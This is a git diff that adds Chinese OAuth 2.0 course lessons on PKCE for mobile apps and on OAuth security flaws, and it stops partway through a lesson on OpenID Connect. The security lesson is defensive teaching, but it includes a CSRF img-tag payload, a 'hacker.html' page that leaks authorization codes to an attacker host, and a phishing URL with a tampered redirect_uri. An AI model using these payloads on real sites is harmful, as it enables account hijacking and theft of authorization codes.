mirror of
https://github.com/cheetahlou/CategoryResourceRepost.git
synced 2025-11-17 14:43:42 +08:00
del
This commit is contained in:
139
极客时间专栏/geek/OAuth 2.0实战课/进阶篇/07 | 如何在移动App中使用OAuth 2.0?.md
Normal file
139
极客时间专栏/geek/OAuth 2.0实战课/进阶篇/07 | 如何在移动App中使用OAuth 2.0?.md
Normal file
@@ -0,0 +1,139 @@
|
||||
<audio id="audio" title="07 | 如何在移动App中使用OAuth 2.0?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/84/5d/842fd629a38b474bba71044ea610b15d.mp3"></audio>
|
||||
|
||||
你好,我是王新栋。
|
||||
|
||||
在前面几讲中,我都是基于Web应用的场景来讲解的OAuth 2.0。除了Web应用外,现实环境中还有非常多的移动App。那么,在移动App中,能不能使用OAuth 2.0 ,又该如何使用OAuth 2.0呢?
|
||||
|
||||
没错,OAuth 2.0最初的应用场景确实是Web应用,但是它的伟大之处就在于,它把自己的核心协议定位成了一个框架而不是单个的协议。这样做的好处是,我们可以基于这个基本的框架协议,在一些特定的领域进行扩展。
|
||||
|
||||
因此,到了桌面或者移动的场景下,OAuth 2.0的协议一样适用。考虑到授权码许可是最完备、最安全的许可类型,所以我在讲移动App如何使用OAuth 2.0的时候,依然会用授权码许可来讲解,毕竟“要用就用最好的”。
|
||||
|
||||
当我们开发一款移动App的时候,可以选择没有Server端的 “纯App” 架构,比如这款App不需要跟自己的Server端通信,或者可以调用其它开放的HTTP接口;当然也可以选择有服务端的架构,比如这款App还想把用户的操作日志记录下来并保存到Server端的数据库中。
|
||||
|
||||
那总结下来呢,移动App可以分为两类,一类是没有Server端的App应用,一类是有Server端的App应用。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4c/99/4c034e019467aafae511f16055b57b99.png" alt="" title="图1 两类移动App">
|
||||
|
||||
这两类App在使用 OAuth 2.0 时的最大区别,在于获取访问令牌的方式:
|
||||
|
||||
- 如果有Server端,就建议通过Server端和授权服务做交互来换取访问令牌;
|
||||
- 如果没有Server端,那么只能通过前端通信来跟授权服务做交互,比如在上一讲中提到的隐式许可授权类型。当然,这种方式的安全性就降低了很多。
|
||||
|
||||
有些时候,我们可能觉得自己开发一个App不需要一个Server端。那好,就让我们先来看看没有Server端的App应用如何使用授权码许可类型。
|
||||
|
||||
## 没有Server端的App
|
||||
|
||||
在一个没有Server端支持的纯App应用中,我们首先想到的是,如何可以像Web服务那样,让请求和响应“来去自如”呢。
|
||||
|
||||
你可能会想,我是不是可以将一个“迷你”的Web服务器嵌入到App里面去,这样不就可以像Web应用那样来使用OAuth 2.0 了么?确实,这是行得通的,而且已经有App这样做了。
|
||||
|
||||
这样的App通过监听运行在localhost上的Web服务器URI,就可以做到跟普通的Web应用一样的通信机制。但这种方式不是我们这次要讲的重点,如果你想深入了解可以去查些资料。因为当使用这种方式的时候,请求访问令牌时需要的app_secret就只能保存在用户本地设备上,而这并不是我们所建议的。
|
||||
|
||||
到这里,你应该猜到了,问题的关键在于如何保存app_secret,因为App会被安装在成千上万个终端设备上,app_secret一旦被破解,就将会造成灾难性的后果。这时,有的同学突发奇想,如果不用app_secret,也能在授权码流程里换回访问令牌access_token,不就可以了吗?
|
||||
|
||||
确实可以,但新的问题也来了。在授权码许可类型的流程中,如果没有了app_secret这一层的保护,那么通过授权码code换取访问令牌的时候,就只有授权码code在“冲锋陷阵”了。这时,授权码code一旦失窃,就会带来严重的安全问题。那么,我既不使用app_secret,还要防止授权码code失窃,有什么好的方法吗?
|
||||
|
||||
有,OAuth 2.0 里面就有这样的指导方法。这个方法就是我们将要介绍的PKCE协议,全称是Proof Key for Code Exchange by OAuth Public Clients。
|
||||
|
||||
在下面的流程图中,为了突出第三方软件使用PKCE协议时与授权服务之间的通信过程,我省略了受保护资源服务和资源拥有者的角色:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/66/52/66648bff2d955b3d714ce597299fbf52.png" alt="" title="图2 使用PKCE协议的流程图">
|
||||
|
||||
我来和你分析下这个流程中的重点。
|
||||
|
||||
首先,App自己要生成一个随机的、长度在43~128字符之间的、参数为**code_verifier**的字符串验证码;接着,我们再利用这个**code_verifier,<strong>来生成一个被称为“挑战码”的参数**code_challenge</strong>。
|
||||
|
||||
那怎么生成这个code_challenge的值呢?OAuth 2.0 规范里面给出了两种方法,就是看code_challenge_method这个参数的值:
|
||||
|
||||
- 一种code_challenge_method=plain,此时code_verifier的值就是code_challenge的值;
|
||||
- 另外一种code_challenge_method=S256,就是将code_verifier值进行ASCII编码之后再进行哈希,然后再将哈希之后的值进行BASE64-URL编码,如下代码所示。
|
||||
|
||||
```
|
||||
code_challenge = BASE64URL-ENCODE(SHA256(ASCII(code_verifier)))
|
||||
|
||||
```
|
||||
|
||||
好了,我知道有这样两个值,也知道它们的生成方法了,但这两个值跟我们的授权码流程有什么关系呢,又怎么利用它们呢?不用着急,我们接着讲。
|
||||
|
||||
授权码流程简单概括起来不是有两步吗,第一步是获取授权码code,第二步是用app_id+app_secret+code获取访问令牌access_token。刚才我们的“梦想”不是设想不使用app_secret,但同时又能保证授权码流程的安全性么?
|
||||
|
||||
没错。code_verifier和code_challenge这两个参数,就是来帮我们实现这个“梦想”的。
|
||||
|
||||
在**第一步获取授权码code的时候,我们使用code_challenge**参数。需要注意的是,我们要同时将code_challenge_method参数也传过去,目的是让授权服务知道生成code_challenge值的方法是plain还是S256。
|
||||
|
||||
```
|
||||
https://authorization-server.com/auth?
|
||||
response_type=code&
|
||||
app_id=APP_ID&
|
||||
redirect_uri=REDIRECT_URI&
|
||||
code_challenge=CODE_CHALLENGE&
|
||||
code_challenge_method=S256
|
||||
|
||||
```
|
||||
|
||||
在**第二步获取访问令牌的时候,我们使用code_verifier参数**,授权服务此时会将code_verifier的值进行一次运算。那怎么运算呢?就是上面code_challenge_method=S256的这种方式。
|
||||
|
||||
没错,第一步请求授权码的时候,已经告诉授权服务生成code_challenge的方法了。所以,在第二步的过程中,授权服务将运算的值跟第一步接收到的值做比较,如果相同就颁发访问令牌。
|
||||
|
||||
```
|
||||
POST https://api.authorization-server.com/token?
|
||||
grant_type=authorization_code&
|
||||
code=AUTH_CODE_HERE&
|
||||
redirect_uri=REDIRECT_URI&
|
||||
app_id=APP_ID&
|
||||
code_verifier=CODE_VERIFIER
|
||||
|
||||
```
|
||||
|
||||
现在,你就知道了我们是如何使用code_verifier和code_challenge这两个参数的了吧。总结一下就是,换取授权码code的时候,我们使用code_challenge参数值;换取访问令牌的时候,我们使用code_verifier参数值。那么,有的同学会继续问了,我们为什么要这样做呢。
|
||||
|
||||
现在,就让我来和你分析一下。
|
||||
|
||||
我们的愿望是,没有Server端的手机App,也可以使用授权码许可流程,对吧?app_secret不能用,因为它只能被存在用户的设备上,我们担心被泄露。
|
||||
|
||||
那么,在没有了app_secret这层保护的前提下,即使我们的授权码code被截获,再加上code_challenge也同时被截获了,那也没有办法由code_challenge逆推出code_verifier的值。而恰恰在第二步换取访问令牌的时候,授权服务需要的就是code_verifier的值。因此,这也就避免了访问令牌被恶意换取的安全问题。
|
||||
|
||||
现在,我们可以通过PKCE协议的帮助,让没有Server端的App也能够安全地使用授权码许可类型进行授权了。但是,按照 OAuth 2.0 的规范建议,通过后端通信来换取访问令牌是较为安全的方式。所以呢,在这里,我想跟你探讨的是,我们真的不需要一个Server端吗?在做移动应用开发的时候,我们真的从设计上就决定废弃Server端了吗?
|
||||
|
||||
## 有Server端的App
|
||||
|
||||
如果你开发接入过微信登录,就会在微信的官方文档上看到下面这句话:
|
||||
|
||||
>
|
||||
微信 OAuth 2.0 授权登录目前支持 authorization_code 模式,适用于拥有 Server 端的应用授权。
|
||||
|
||||
|
||||
没错,微信的OAuth 2.0 授权登录,就是建议我们需要一个Server端来支持这样的授权接入。
|
||||
|
||||
那么,有Server端支持的App又是如何使用OAuth 2.0 的授权码许可流程的呢?其实,在前面几讲的基础上,我们现在理解这样的场景并不是什么难事儿。
|
||||
|
||||
我们仍以微信登录为例,看一下[官方的流程图](https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/86/b1/86d3yy8fa419c94b7e3766fe0a4e3db1.png" alt="" title="图3 微信登录流程图">
|
||||
|
||||
看到这个图,你是不是觉得特别熟悉,跟普通的授权码流程没有区别,仍是两步走的策略:第一步换取授权码code,第二步通过授权码code换取访问令牌access_token。
|
||||
|
||||
这里的第三方应用,就是我们作为开发者来开发的应用,包含了移动App和Server端。我们将其“放大”得到下面这张图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/56/5e/564f5b7af360180d270e205df5f9c05e.png" alt="" title="图4 有Server端的App的授权流程">
|
||||
|
||||
我们从这张“放大”的图中,就会发现有Server端的App在使用授权码流程的时候,跟普通的Web应用几乎没有任何差别。
|
||||
|
||||
大概流程是:当我们访问第三方App的时候,需要用到微信来登录;第三方App可以拉起微信的App,我们会在微信的App里面进行登录及授权;微信Server端验证成功之后会返回一个授权码code,通过微信App传递给了第三方App;后面的流程就是我们熟悉的使用授权码code和app_secret,换取访问令牌access_token的值了。
|
||||
|
||||
这次使用app_secret的时候,我们是在第三方App的Server端来使用的,因此安全性上没有任何问题。
|
||||
|
||||
## 总结
|
||||
|
||||
今天这一讲,我重点和你讲了两块内容,没有Server端的App和有Server端的App分别是如何使用授权码许可类型的。我希望你能够记住以下两点内容。
|
||||
|
||||
1. 我们使用OAuth 2.0协议的目的,就是要起到安全性的作用,但有些时候,因为使用不当反而会造成更大的安全问题,比如将app_secret放入App中的最基本错误。如果放弃了app_secret,又是如何让没有Server端的App安全地使用授权码许可协议呢?针对这种情况,我和你介绍了PKCE协议。它是一种在失去app_secret保护的时候,防止授权码失窃的解决方案。
|
||||
1. 我们需要思考一下,我们的App真的不需要一个Server端吗?我建议你在开发移动App的时候,尽可能地都要搭建一个Server端,因为通过后端通信来传输访问令牌比通过前端通信传输要安全得多。我也举了微信的例子,很多官方的开放平台在提供OAuth 2.0服务的时候,都会建议开发者要有一个相应的Server端。
|
||||
|
||||
那么,关于OAuth 2.0 的使用还有哪些安全方面的防范措施是我们要注意的呢,接下来的一讲中我们会重点跟大家介绍。
|
||||
|
||||
## 思考题
|
||||
|
||||
在移动App中,你还能想到有哪些相对安全的方式来使用OAuth 2.0吗?
|
||||
|
||||
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。
|
||||
@@ -0,0 +1,187 @@
|
||||
<audio id="audio" title="08 | 实践OAuth 2.0时,使用不当可能会导致哪些安全漏洞?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/11/af/1138fc9a8f89e3fbbd5cf0ba5ea2a8af.mp3"></audio>
|
||||
|
||||
你好,我是王新栋。
|
||||
|
||||
当知道这一讲的主题是OAuth 2.0的安全漏洞时,你可能要问了:“OAuth 2.0 不是一种安全协议吗,不是保护Web API的吗?为啥OAuth 2.0自己还有安全的问题了呢?”
|
||||
|
||||
首先,OAuth 2.0 的确是一种安全协议。这没啥问题,但是它有很多使用规范,比如授权码是一个临时凭据只能被使用一次,要对重定向URI做校验等。那么,如果使用的时候你没有按照这样的规范来实施,就会有安全漏洞了。
|
||||
|
||||
其次,OAuth 2.0既然是“生长”在互联网这个大环境中,就一样会面对互联网上常见安全风险的攻击,比如跨站请求伪造(Cross-site request forgery,CSRF)、跨站脚本攻击(Cross Site Scripting,XSS)。
|
||||
|
||||
最后,除了这些常见攻击类型外,OAuth 2.0 自身也有可被利用的安全漏洞,比如授权码失窃、重定向URI伪造。
|
||||
|
||||
所以,我们**在实践OAuth 2.0的过程中,安全问题一定是重中之重**。接下来,我挑选了5个典型的安全问题,其中CSRF、XSS、水平越权这三种是互联网环境下常见的安全风险,授权码失窃和重定向URI被篡改属于OAuth2.0“专属”的安全风险。接下来,我就和你一起看看这些安全风险的由来,以及如何应对吧。
|
||||
|
||||
## CSRF攻击
|
||||
|
||||
对于CSRF的定义,《OAuth 2 in Action》这本书里的解释,是我目前看到的最为贴切的解释:恶意软件让浏览器向**已完成用户身份认证**的网站发起请求,并**执行有害的操作**,就是跨站请求伪造攻击。
|
||||
|
||||
它是互联网上最为常见的攻击之一。我们在实践OAuth2.0的过程,其实就是在构建一次互联网的应用。因此,OAuth 2.0同样也会面临这个攻击。接下来,我通过一个案例和你说明这个攻击类型。
|
||||
|
||||
有一个软件 A,我们让它来扮演攻击者,让它的开发者按照正常的流程使用极客时间。当该攻击者授权后,拿到授权码的值 codeA之后,“立即按下了暂停键”,不继续往下走了。那它想干啥呢,我们继续往下看。
|
||||
|
||||
这时,**有一个第三方软件B,比如咱们的Web版极客时间,来扮演受害者吧。<strong>当然最终的受害者是用户,这里是用Web版极客时间来作为被软件A攻击的对象**。</strong>
|
||||
|
||||
极客时间用于接收授权码的回调地址为 `https://time.geekbang.org/callback`。有一个用户G已经在极客时间的平台登录,且对极客时间进行了授权,也就是用户G已经在极客时间平台上有登录态了。
|
||||
|
||||
如果此时攻击者软件A,在自己的网站上构造了一个恶意页面:
|
||||
|
||||
```
|
||||
<html>
|
||||
<img src ="https://time.geekbang.org/callback?code=codeA">
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
如果这个时候用户G被攻击者软件A诱导而点击了这个恶意页面,那结果就是,极客时间使用codeA值去继续OAuth 2.0的流程了。这其实就走完了一个CSRF攻击的过程,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f1/fe/f12446c76ffcbb58b8ce00c3f874f8fe.png" alt="" title="图1 CSRF攻击过程">
|
||||
|
||||
如果我们将OAuth 2.0用于了身份认证,那么就会造成严重的后果,因为用户G使用的极客时间的**授权上下文环境**跟攻击者软件A的**授权上下文环境**绑定在了一起。为了解释两个上下文环境绑定在一起可能带来的危害,我们还是拿极客时间来举例。
|
||||
|
||||
假如,极客时间提供了用户账号和微信账号做绑定的功能,也就是说用户先用自己的极客时间的账号登录,然后可以绑定微信账号,以便后续可以使用微信账号来登录。在绑定微信账号的时候,微信会咨询你是否给极客时间授权,让它获取你在微信上的个人信息。这时候,就需要用到OAuth 2.0的授权流程。
|
||||
|
||||
如果攻击者软件A,通过自己的极客时间账号事先做了上面的绑定操作,也就是说攻击者已经可以使用自己的微信账号来登录极客时间了。那有一天,软件A想要“搞事情”了,便在发起了一个授权请求后构造了一个攻击页面,里面包含的模拟代码正如我在上面描述的那样,来诱导用户G点击。
|
||||
|
||||
而用户G已经用极客时间的账号登录了极客时间,此时正要去做跟微信账号的绑定。如果这个时候他刚好点击了攻击者A“种下”的这个恶意页面,那么后面换取授权的访问令牌access_token,以及通过accces_token获取的信息就都是攻击者软件A的了。
|
||||
|
||||
这就相当于,用户G将自己的极客时间的账号跟攻击者软件A的微信账号绑定在了一起。这样一来,后续攻击者软件A就能够通过自己的微信账号,来登录用户G的极客时间了。这个后果可想而知。
|
||||
|
||||
那如何避免这种攻击呢?方法也很简单,实际上OAuth 2.0中也有这样的建议,就是**使用state参数**,它是一个随机值的参数。
|
||||
|
||||
还是以上面的场景为例,当极客时间请求授权码的时候附带一个自己生成state参数值,同时授权服务也要按照规则将这个随机的state值跟授权码code一起返回给极客时间。这样,当极客时间接收到授权码的时候,就要在极客时间这一侧做一个state参数值的比对校验,如果相同就继续流程,否则直接拒绝后续流程。
|
||||
|
||||
在这样的情况下,软件A要想再发起CSRF攻击,就必须另外构造一个state值,而这个state没那么容易被伪造。这本就是一个随机的数值,而且在生成时就遵从了被“猜中”的概率要极小的建议。比如,生成一个6位字母和数字的组合值,显然要比生成一个6位纯数字值被“猜中”的概率要小。所以,软件B通过使用state参数,就实现了一个基本的防跨站请求伪造保护。
|
||||
|
||||
我们再来总结下,这个攻击过程本质上就是,软件A(攻击者)用自己的授权码codeA的值,通过CSRF攻击,“替换”了软件B的授权码的值。
|
||||
|
||||
接下来,我再给你看一种互联网常见的安全攻击类型,也就是XSS攻击。
|
||||
|
||||
## XSS攻击
|
||||
|
||||
XSS攻击的主要手段是将恶意脚本注入到请求的输入中,攻击者可以通过注入的恶意脚本来进行攻击行为,比如搜集数据等。截止到2020年6月23日,在OWASP(一个开源的Web应用安全项目)上查看安全漏洞排名的话,它依然在[TOP10](https://owasp.org/www-project-top-ten/)榜单上面,可谓“大名鼎鼎”。
|
||||
|
||||
网络上有很多关于XSS的介绍了,我推荐你看看[《XSS攻击原理分析与防御技术》](https://segmentfault.com/a/1190000013315450)这篇文章,它很清晰地分析了XSS的原理以及防御方法。今天,我们主要看看它是怎么在OAuth 2.0的流程中“发挥”的。
|
||||
|
||||
当请求抵达受保护资源服务时,系统需要做校验,比如第三方软件身份合法性校验、访问令牌access_token的校验,如果这些信息都不能被校验通过,受保护资源服务就会返回错误的信息。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/07/93/076a8f694f76b8a65cc105b54c280e93.png" alt="" title="图2 XSS攻击过程">
|
||||
|
||||
大多数情况下,受保护资源都是把输入的内容,比如app_id invalid、access_token invalid ,再回显一遍,这时就会被XSS攻击者捕获到机会。试想下,如果攻击者传入了一些恶意的、搜集用户数据的JavaScript 代码,受保护资源服务直接原路返回到用户的页面上,那么当用户触发到这些代码的时候就会遭受到攻击。
|
||||
|
||||
因此,受保护资源服务就需要对这类XSS漏洞做修复,而具体的修复方法跟其它网站防御XSS类似,最简单的方法就是**对此类非法信息做转义过滤**,比如对包含`<script>`、`<img>`、`<a>`等标签的信息进行转义过滤。
|
||||
|
||||
CSRF攻击、XSS攻击是我从OWASP网站上挑选的两个最为熟知的两种攻击类型,它们应该是所有Web系统都需要共同防范的。我们在实施OAuth 2.0 架构的时候,也一定要考虑到这层防护,否则就会给用户造成伤害。接下来,我再带着你了解一下水平越权攻击。
|
||||
|
||||
## 水平越权
|
||||
|
||||
**水平越权是指,在请求受保护资源服务数据的时候,服务端应用程序未校验这条数据是否归属于当前授权的请求用户**。这样不法者用自己获得的授权来访问受保护资源服务的时候,就有可能获取其他用户的数据,导致水平越权漏洞问题的发生。攻击者可越权的操作有增加、删除、修改和查询,无论更新操作还是查询操作都有相当的危害性。
|
||||
|
||||
这么说可能有些抽象,我们看一个具体的例子。
|
||||
|
||||
还是以我们的“小兔打单软件”为例,第三方开发者开发了这款打单软件,目前有两个商家A和商家B购买并使用。现在小兔打单软件上面提供了根据订单ID查询订单数据的功能,如下图所示。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/42/77/42c7534227ffcd72f05db518e6b76577.png" alt="" title="图3 水平越权发生场景">
|
||||
|
||||
商家A和商家B分别给小兔打单软件应用做了授权,也就是说,小兔打单软件可以获取商家A和商家B的订单数据。此时没有任何问题,**那么商家A可以获取商家B的订单数据吗?**答案是,极有可能的。
|
||||
|
||||
在开放平台环境下,授权关系的校验是由一般由开放网关这一层来处理,因为受保护资源服务会散落在各个业务支持部门。请求数据通过开放网关之后由访问令牌access_token获取了用户的身份,比如商家ID,就会透传到受保护资源服务,也就是上游接口提供方的系统。
|
||||
|
||||
此时,如果受保护资源服务没有对商家ID和订单ID做归属判断,就有可能发生商家A获取商家B订单数据的问题,造成水平越权问题。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0e/4f/0eaa1a1c991ee25406a85e9dfa17b64f.png" alt="" title="图4 水平越权示例图">
|
||||
|
||||
发生水平越权问题的根本原因,还是开发人员的认知与意识不够。如果认知与意识跟得上,那在设计之初增加归属关系判断,比如上面提到的订单ID和商家ID的归属关系判断,就能在很大程度上避免这个漏洞。
|
||||
|
||||
同时,在开放平台环境下,由于开放网关和数据接口提供方来自不同的业务部门,防止水平校验的逻辑处理很容易被遗漏:
|
||||
|
||||
- 一方面,开放网关的作用是将用户授权之后的访问令牌access_token信息转换成真实的用户信息,比如上面提到的商家ID,然后传递到接口提供方,数据归属判断逻辑只能在接口提供方内部处理;
|
||||
- 另一方面,数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”,容易忽略水平校验的逻辑处理。
|
||||
|
||||
所以,在开放平台环境下,我们就要更加重视与防范数据的越权问题。
|
||||
|
||||
以上,CSRF攻击、XSS攻击、水平越权这三种攻击类型,它们都属于OAuth 2.0面临的互联网非常常见的通用攻击类型。而对于其他的互联网攻击类型,如果你想深入了解的话,可以看一下这篇[安全案例回顾](https://wooyun.js.org/drops/OAuth%202.0%E5%AE%89%E5%85%A8%E6%A1%88%E4%BE%8B%E5%9B%9E%E9%A1%BE.html)的文章。
|
||||
|
||||
接下来,我们再看两种OAuth 2.0专有的安全攻击,分别是授权码失窃、重定向URI被篡改。
|
||||
|
||||
## 授权码失窃
|
||||
|
||||
我们举个例子,先来学习授权码失窃这个场景。
|
||||
|
||||
如果第三方软件A有合法的app_id和app_secret,那么当它去请求访问令牌的时候,也是合法的。这个时候没有任何问题,让我们继续。
|
||||
|
||||
如果有一个用户G对第三方软件B,比如极客时间,进行授权并产生了一个授权码codeB,但并没有对攻击者软件A授权。此时,软件A是不能访问用户G的所有数据的。但这时,如果软件A获取了这个codeB,是不是就能够在没有获得用户G授权的情况下访问用户G的数据了?整个过程如下图所示。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7d/7b/7d464d5a0c49a77862fef10f77cf057b.png" alt="" title="图5 授权码失窃攻击过程">
|
||||
|
||||
**这时问题的根源就在于两点:**
|
||||
|
||||
- 授权服务在进行授权码校验的时候,没有校验app_id_B;
|
||||
- 软件B(也就是极客时间)使用过一次codeB的值之后,授权服务没有删除这个codeB;
|
||||
|
||||
看到这里,通过校验app_id_B,并删除掉使用过一次的授权码及其对应的访问令牌,就可以从根本上来杜绝授权码失窃带来的危害了。
|
||||
|
||||
说到这里,你不禁要问了,授权码到底是怎么失窃的呢?接下来,我要介绍的就是授权码失窃的可能的方法之一,这也是OAuth 2.0中因重定向URI校验方法不当而遭受到的一种危害。这种安全攻击类型,就是重定向URI被篡改。
|
||||
|
||||
## 重定向URI被篡改
|
||||
|
||||
有的时候,授权服务提供方并没有对第三方软件的回调URI做完整性要求和完整性校验。比如,第三软件B极客时间的详细回调URI是`https://time.geekbang.org/callback`,那么在完整性校验缺失的情况下,只要以`https://time.geekbang.org`开始的回调URI地址,都会被认为是合法的。
|
||||
|
||||
此时,如果黑客在`https://time.geekbang.org/page/`下,创建了一个页面**hacker.html**。这个页面的内容可以很简单,其目的就是让请求能够抵达攻击者的服务。
|
||||
|
||||
```
|
||||
<html>
|
||||
<img src ="https://clientA.com/catch">
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
好了,我们继续看下接下来的攻击流程:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/04/41/04d71e6a8d32fe8b516db7e7424bf141.png" alt="" title="图6 重定向URI被篡改的攻击过程">
|
||||
|
||||
首先,黑客将构造的攻击页面放到对应的hacker.html上,也就是`https://time.geekbang.org/page/hacker.html`上 ,同时构造出了一个新的重定向URI,即`https://time.geekbang.org/page/welcome/back.html../hacker.html`。
|
||||
|
||||
然后,黑客利用一些钓鱼手段诱导用户,去点击下面的这个地址:
|
||||
|
||||
```
|
||||
https://oauth-server.com/auth?respons_type=code&client_id=CLIENTID&redirect_uri=https://time.geekbang.org/page/welcome/back.html../hacker.html
|
||||
|
||||
```
|
||||
|
||||
这样当授权服务做出响应进行重定向请求的时候,授权码code就返回到了hacker.html这个页面上。
|
||||
|
||||
最后,黑客在`https://clientA.com/catch`页面上,解析Referrer头部就会得到用户的授权码,继而就可以像授权码失窃的场景中那样去换取访问令牌了。
|
||||
|
||||
看到这里我们就知道了,如果授权服务要求的回调URI是`https://time.geekbang.org/callback`,并做了回调URI的完整性校验,那么被篡改之后的回调地址`https://time.geekbang.org/page/welcome/back.html../hacker.html`就不会被授权服务去发起重定向请求。
|
||||
|
||||
严格来讲,要发生这样的漏洞问题,条件还是比较苛刻的。从图6的重定向URI被篡改的流程中,也可以看到,只要我们在授权服务验证第三方软件的请求时做了签名校验,那么攻击者在只拿到授权码code的情况下,仍然无法获取访问令牌,因为第三方软件只有通过访问令牌才能够访问用户的数据。
|
||||
|
||||
但是,如果这些防范安全风险的规范建议你通通都没有遵守,那就是在给攻击者“大显身手”的机会,让你的应用软件以及用户遭受损失。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,以上就是今天的主要内容了。我们一起学习了OAuth 2.0相关的常见又比较隐蔽的5种安全问题,包括CSRF攻击、XSS攻击、水平越权、授权码失窃、重定向URI被篡改。更多关于OAuth 2.0 安全方面的内容,你也可以去翻阅《OAuth 2 in Action》这本书。
|
||||
|
||||
通过这一讲的学习,你需要记住以下三个知识点:
|
||||
|
||||
1. 互联网场景的安全攻击类型比如CSRF、XSS等,在OAuth 2.0中一样要做防范,因为OAuth 2.0本身就是应用在互联网场景中。
|
||||
1. 除了常见的互联网安全攻击,OAuth 2.0也有自身的安全风险问题,比如我们讲到的授权码失窃、重定向URI被篡改。
|
||||
1. 这些安全问题,本身从攻击的“技术含量”上并不高,但导致这些安全风险的因素,往往就是开发人员的安全意识不够。比如,没有意识到水平越权中的数据归属逻辑判断,需要加入到代码逻辑中。
|
||||
|
||||
其实,OAuth 2.0 的规范里面对这些安全问题都有对应的规避方式,但都要求我们使用的时候一定要非常严谨。比如,重定向URI的校验方式,规范里面是允许模糊校验的,但在结合实际环境的时候,我们又必须做到精确匹配校验才可以保障OAuth 2.0流转的安全性。
|
||||
|
||||
最后,我还整理了一张知识脑图,总结了这5种攻击方式的内容,来帮助你理解与记忆。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/47/7f/479c2f3945d7a8e186f91f58b89db57f.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
<li>
|
||||
今天我们讲的这些安全问题,都是站在“守”的一方,并没有告诉你如何 “绞尽脑汁” 地利用漏洞。所谓“知己知彼,百战不殆”,现在你站在“攻”的一方来考虑下,除了重定向URI被篡改,还有什么其它的授权码被盗的场景吗?
|
||||
</li>
|
||||
<li>
|
||||
你认为还有哪些安全风险,是专属于OAuth 2.0的吗?
|
||||
</li>
|
||||
|
||||
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。
|
||||
@@ -0,0 +1,182 @@
|
||||
<audio id="audio" title="09 | 实战:利用OAuth 2.0实现一个OpenID Connect用户身份认证协议" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/1d/0f/1d0e58401760ff9858bde52ab35bee0f.mp3"></audio>
|
||||
|
||||
你好,我是王新栋。
|
||||
|
||||
如果你是一个第三方软件开发者,在实现用户登录的逻辑时,除了可以让用户新注册一个账号再登录外,还可以接入微信、微博等平台,让用户使用自己的微信、微博账号去登录。同时,如果你的应用下面又有多个子应用,还可以让用户只登录一次就能访问所有的子应用,来提升用户体验。
|
||||
|
||||
这就是联合登录和单点登录了。再继续深究,它们其实都是OpenID Connect(简称OIDC)的应用场景的实现。那OIDC又是什么呢?
|
||||
|
||||
今天,我们就来学习下OIDC和OAuth 2.0的关系,以及如何用OAuth 2.0来实现一个OIDC用户身份认证协议。
|
||||
|
||||
## OIDC是什么?
|
||||
|
||||
OIDC其实就是一种用户身份认证的开放标准。使用微信账号登录极客时间的场景,就是这种开放标准的实践。
|
||||
|
||||
说到这里,你可能要发问了:“不对呀,使用微信登录第三方App用的不是OAuth 2.0开放协议吗,怎么又扯上OIDC了呢?”
|
||||
|
||||
没错,用微信登录某第三方软件,确实使用的是OAuth 2.0。但OAuth2.0是一种授权协议,而不是身份认证协议。OIDC才是身份认证协议,而且是基于OAuth 2.0来执行用户身份认证的互通协议。更概括地说,OIDC就是直接基于OAuth 2.0 构建的身份认证框架协议。
|
||||
|
||||
换种表述方式,**OIDC=授权协议+身份认证**,是OAuth 2.0的超集。为方便理解,我们可以把OAuth 2.0理解为面粉,把OIDC理解为面包。这下,你是不是就理解它们的关系了?因此,我们说“第三方App使用微信登录用到了OAuth 2.0”没有错,说“使用到了OIDC”更没有错。
|
||||
|
||||
考虑到单点登录、联合登录,都遵循的是OIDC的标准流程,因此今天我们就讲讲如何利用OAuth2.0来实现一个OIDC,“高屋建瓴” 地去看问题。掌握了这一点,我们再去做单点登录、联合登录的场景,以及其他更多关于身份认证的场景,就都不再是问题了。
|
||||
|
||||
## OIDC 和 OAuth 2.0 的角色对应关系
|
||||
|
||||
说到“如何利用 OAuth 2.0 来构建 OIDC 这样的认证协议”,我们可以想到一个切入点,这个切入点就是OAuth 2.0 的四种角色。
|
||||
|
||||
OAuth 2.0的授权码许可流程的运转,需要资源拥有者、第三方软件、授权服务、受保护资源这4个角色间的顺畅通信、配合才能够完成。如果我们要想在OAuth 2.0的授权码许可类型的基础上,来构建 OIDC 的话,这4个角色仍然要继续发挥 “它们的价值”。那么,这4个角色又是怎么对应到OIDC中的参与方的呢?
|
||||
|
||||
那么,我们就先想想一个关于身份认证的协议框架,应该有什么角色。你可能已经想出来了,它需要一个登录第三方软件的最终用户、一个第三方软件,以及一个认证服务来为这个用户提供身份证明的验证判断。
|
||||
|
||||
没错,这就是OIDC的三个主要角色了。在OIDC的官方标准框架中,这三个角色的名字是:
|
||||
|
||||
- EU(End User),代表最终用户。
|
||||
- RP(Relying Party),代表认证服务的依赖方,就是上面我提到的第三方软件。
|
||||
- OP(OpenID Provider),代表提供身份认证服务方。
|
||||
|
||||
EU、RP和OP这三个角色对于OIDC非常重要,我后面也会时常使用简称来描述,希望你能先记住。
|
||||
|
||||
现在很多App都接入了微信登录,那么微信登录就是一个大的身份认证服务(OP)。一旦我们有了微信账号,就可以登录所有接入了微信登录体系的App(RP),这就是我们常说的联合登录。
|
||||
|
||||
现在,我们就借助极客时间的例子,来看一下OAuth 2.0的4个角色和OIDC的3个角色之间的对应关系:
|
||||
|
||||
